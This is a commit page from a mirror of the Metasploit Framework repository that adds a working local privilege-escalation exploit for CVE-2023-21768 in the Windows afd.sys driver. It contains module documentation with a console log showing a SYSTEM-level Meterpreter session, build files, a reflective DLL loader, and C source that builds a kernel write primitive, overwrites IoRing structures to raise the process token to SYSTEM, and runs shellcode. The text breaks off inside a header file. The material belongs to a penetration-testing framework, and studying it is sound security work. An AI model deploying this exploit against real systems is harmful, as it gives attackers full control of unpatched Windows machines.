mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-07-18 18:31:41 +02:00
Add exploit for CVE-2023-21768
This commit is contained in:
parent
e2e8568860
commit
6d4ee0c071
BIN
data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll
Executable file
BIN
data/exploits/CVE-2023-21768/CVE-2023-21768.x64.dll
Executable file
Binary file not shown.
@ -0,0 +1,58 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A vulnerability exists in the Windows Ancillary Function Driver for Winsock
|
||||
(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
|
||||
NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
|
||||
possible to create an arbitrary kernel Write-Where primitive, which can be used
|
||||
to manipulate internal I/O ring structures and achieve local privilege
|
||||
escalation.
|
||||
|
||||
This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
|
||||
January 2023 updates).
|
||||
|
||||
### Installation And Setup
|
||||
Windows 11 versions 22H2 (without the patch) are vulnerable out of the box.
|
||||
This exploit module has been tested on Windows 11 versions 22H2 build 22621.525
|
||||
and 22621.963.
|
||||
|
||||
## Options
|
||||
No specific options to be set.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a Meterpreter session on a vulnerable host
|
||||
1. Do: `use windows/local/cve_2023_21768_afd_lpe`
|
||||
1. Set the `SESSION` and `PAYLOAD` options
|
||||
1. Do: `run`
|
||||
1. You should get a privileged session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 11 Version 22H2 Build 22621.963 x64
|
||||
```
|
||||
msf6 exploit(windows/local/cve_2023_21768_afd_lpe) > run verbose=true
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.100.9:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Windows Build Number = 22621.963
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Launching netsh to host the DLL...
|
||||
[+] Process 3748 launched.
|
||||
[*] Reflectively injecting the DLL into 3748...
|
||||
[*] Sending stage (200774 bytes) to 192.168.100.9
|
||||
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
|
||||
[*] Meterpreter session 11 opened (192.168.100.9:4444 -> 192.168.100.9:55346) at 2023-03-27 18:46:08 +0200
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN11PRO
|
||||
OS : Windows 10 (10.0 Build 22621).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
|
2
external/source/exploits/CVE-2023-21768/.gitignore
vendored
Normal file
2
external/source/exploits/CVE-2023-21768/.gitignore
vendored
Normal file
@ -0,0 +1,2 @@
|
||||
.vs/*
|
||||
*.vcxproj.filters
|
31
external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln
vendored
Executable file
31
external/source/exploits/CVE-2023-21768/CVE-2023-21768.sln
vendored
Executable file
@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.32407.337
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-21768", "CVE-2023-21768.vcxproj", "{24AFFB38-5B93-4D0E-8329-D3B27B337D25}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x64.Build.0 = Debug|x64
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Debug|x86.Build.0 = Debug|Win32
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.ActiveCfg = Release|x64
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x64.Build.0 = Release|x64
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.ActiveCfg = Release|Win32
|
||||
{24AFFB38-5B93-4D0E-8329-D3B27B337D25}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {ED684E2D-0A3F-471F-A3D4-3F508877D62C}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
220
external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj
vendored
Executable file
220
external/source/exploits/CVE-2023-21768/CVE-2023-21768.vcxproj
vendored
Executable file
@ -0,0 +1,220 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{24affb38-5b93-4d0e-8329-d3b27b337d25}</ProjectGuid>
|
||||
<RootNamespace>CVE202321768</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
<GenerateManifest>true</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
<GenerateManifest>true</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<SDLCheck>
|
||||
</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<SDLCheck>
|
||||
</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;CVE202321768_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<AdditionalIncludeDirectories>..\..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.c" />
|
||||
<ClCompile Include="exploit.c" />
|
||||
<ClCompile Include="ioring.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="exploit.h" />
|
||||
<ClInclude Include="ioring.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
37
external/source/exploits/CVE-2023-21768/dllmain.c
vendored
Executable file
37
external/source/exploits/CVE-2023-21768/dllmain.c
vendored
Executable file
@ -0,0 +1,37 @@
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "ReflectiveLoader.c"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <windows.h>
|
||||
|
||||
DWORD Exploit(PVOID pPayload);
|
||||
|
||||
LPVOID main(LPVOID lpReserved) {
|
||||
Exploit(lpReserved);
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
main(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
214
external/source/exploits/CVE-2023-21768/exploit.c
vendored
Executable file
214
external/source/exploits/CVE-2023-21768/exploit.c
vendored
Executable file
@ -0,0 +1,214 @@
|
||||
#include <windows.h>
|
||||
#include "exploit.h"
|
||||
#include "ioring.h"
|
||||
|
||||
BOOL InitialSetup(void) {
|
||||
HMODULE hNtdll = LoadLibrary(L"ntdll");
|
||||
|
||||
if (!hNtdll) {
|
||||
dprintf("Unable to load ntdll.dll");
|
||||
goto failure;
|
||||
}
|
||||
|
||||
if (!(NtCreateFile = (fNtCreateFile)GetProcAddress(hNtdll, "NtCreateFile"))) {
|
||||
dprintf("NtCreateFile() not found in ntdll.dll");
|
||||
goto failure;
|
||||
}
|
||||
|
||||
if (!(NtDeviceIoControlFile = (fNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile"))) {
|
||||
dprintf("NtDeviceIoControlFile() not found in ntdll.dll");
|
||||
goto failure;
|
||||
}
|
||||
|
||||
if (!(NtCreateIoCompletion = (fNtCreateIoCompletion)GetProcAddress(hNtdll, "NtCreateIoCompletion"))) {
|
||||
dprintf("NtCreateIoCompletion() not found in ntdll.dll");
|
||||
goto failure;
|
||||
}
|
||||
|
||||
if (!(NtSetIoCompletion = (fNtSetIoCompletion)GetProcAddress(hNtdll, "NtSetIoCompletion"))) {
|
||||
dprintf("NtSetIoCompletion() not found in ntdll.dll");
|
||||
goto failure;
|
||||
}
|
||||
|
||||
if (!(NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"))) {
|
||||
dprintf("NtQuerySystemInformation() not found in ntdll.dll");
|
||||
goto failure;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
|
||||
failure:
|
||||
if (hNtdll) {
|
||||
FreeLibrary(hNtdll);
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HRESULT ArbitraryKernelWrite0x1(void* pPwnPtr) {
|
||||
HRESULT ret;
|
||||
NTSTATUS ntStatus;
|
||||
HANDLE hCompletion = INVALID_HANDLE_VALUE;
|
||||
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||
HANDLE hSocket = INVALID_HANDLE_VALUE;
|
||||
UNICODE_STRING ObjectFilePath = { 0 };
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
||||
AFD_NOTIFYSOCK_DATA Data = { 0 };
|
||||
HANDLE hEvent = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
// Hard-coded attributes for an IPv4 TCP socket
|
||||
BYTE bExtendedAttributes[] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
|
||||
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
|
||||
};
|
||||
|
||||
ntStatus = NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
|
||||
|
||||
if (ntStatus != STATUS_SUCCESS) {
|
||||
dprintf("NtCreateIoCompletion() failed (NTSTATUS=0x%X)", ntStatus);
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
ntStatus = NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
|
||||
|
||||
if (ntStatus != STATUS_SUCCESS) {
|
||||
dprintf("NtSetIoCompletion() failed (NTSTATUS=0x%X)", ntStatus);
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
|
||||
ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
|
||||
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
|
||||
|
||||
ObjectAttributes.Length = sizeof(ObjectAttributes);
|
||||
ObjectAttributes.ObjectName = &ObjectFilePath;
|
||||
ObjectAttributes.Attributes = 0x40;
|
||||
|
||||
ntStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
|
||||
|
||||
if (ntStatus != STATUS_SUCCESS) {
|
||||
dprintf("NtCreateFile() failed (NTSTATUS=0x%X)", ntStatus);
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
Data.hCompletion = hCompletion;
|
||||
|
||||
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!Data.pData1) {
|
||||
dprintf("Call #1 to VirtualAlloc() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!Data.pData2) {
|
||||
dprintf("Call #2 to VirtualAlloc() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
Data.dwCounter = 0x1;
|
||||
Data.dwLen = 0x1;
|
||||
Data.dwTimeout = 100000000;
|
||||
Data.pPwnPtr = pPwnPtr;
|
||||
|
||||
hEvent = CreateEvent(NULL, 0, 0, NULL);
|
||||
|
||||
if (!hEvent) {
|
||||
dprintf("Call to CreateEvent() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
|
||||
|
||||
ret = S_OK;
|
||||
|
||||
done:
|
||||
if (hCompletion != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hCompletion);
|
||||
}
|
||||
|
||||
if (hSocket != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(hSocket);
|
||||
}
|
||||
|
||||
if (hEvent) {
|
||||
CloseHandle(hEvent);
|
||||
}
|
||||
|
||||
if (Data.pData1) {
|
||||
VirtualFree(Data.pData1, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
if (Data.pData2) {
|
||||
VirtualFree(Data.pData2, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
|
||||
if (!pMsfPayload) {
|
||||
return;
|
||||
}
|
||||
|
||||
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!pPayload) {
|
||||
return;
|
||||
}
|
||||
|
||||
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
|
||||
CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
|
||||
}
|
||||
|
||||
DWORD Exploit(PVOID pPayload) {
|
||||
dprintf("Starting exploit...");
|
||||
|
||||
PIORING_OBJECT pIoRing = NULL;
|
||||
DWORD dwPidSelf = GetCurrentProcessId();
|
||||
|
||||
if (!InitialSetup()) {
|
||||
dprintf("Initial setup failure");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (IoRingSetup(&pIoRing) != S_OK) {
|
||||
dprintf("IORING setup failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
dprintf("IoRing Obj Address at %llx", pIoRing);
|
||||
|
||||
if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3) != S_OK) {
|
||||
dprintf("IoRing->RegBuffers overwrite failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
dprintf("IoRing->RegBuffers overwritten with address 0x1000000");
|
||||
|
||||
if (ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount) != S_OK) {
|
||||
dprintf("IoRing->RegBuffersCount overwrite failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
dprintf("IoRing->RegBuffersCount overwritten with 0x1");
|
||||
|
||||
if (IoRingLpe(dwPidSelf, 0x1000000, 0x1) != S_OK) {
|
||||
dprintf("LPE Failed");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
dprintf("Current process token elevated to SYSTEM!");
|
||||
|
||||
ExecutePayload(pPayload);
|
||||
|
||||
dprintf("The payload has been executed");
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
197
external/source/exploits/CVE-2023-21768/exploit.h
vendored
Executable file
197
external/source/exploits/CVE-2023-21768/exploit.h
vendored
Executable file
@ -0,0 +1,197 @@
|
||||
#pragma once
|
||||
|
||||
//#define DEBUGTRACE
|
||||
|
||||
#include <windows.h>
|
||||
#include "common.h"
|
||||
#include "definitions.h"
|
||||
|
||||
#define EPROC_TOKEN_OFFSET 0x4b8
|
||||
|
||||
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
|
||||
|
||||
typedef struct _OBJECT_TYPE_INFORMATION
|
||||
{
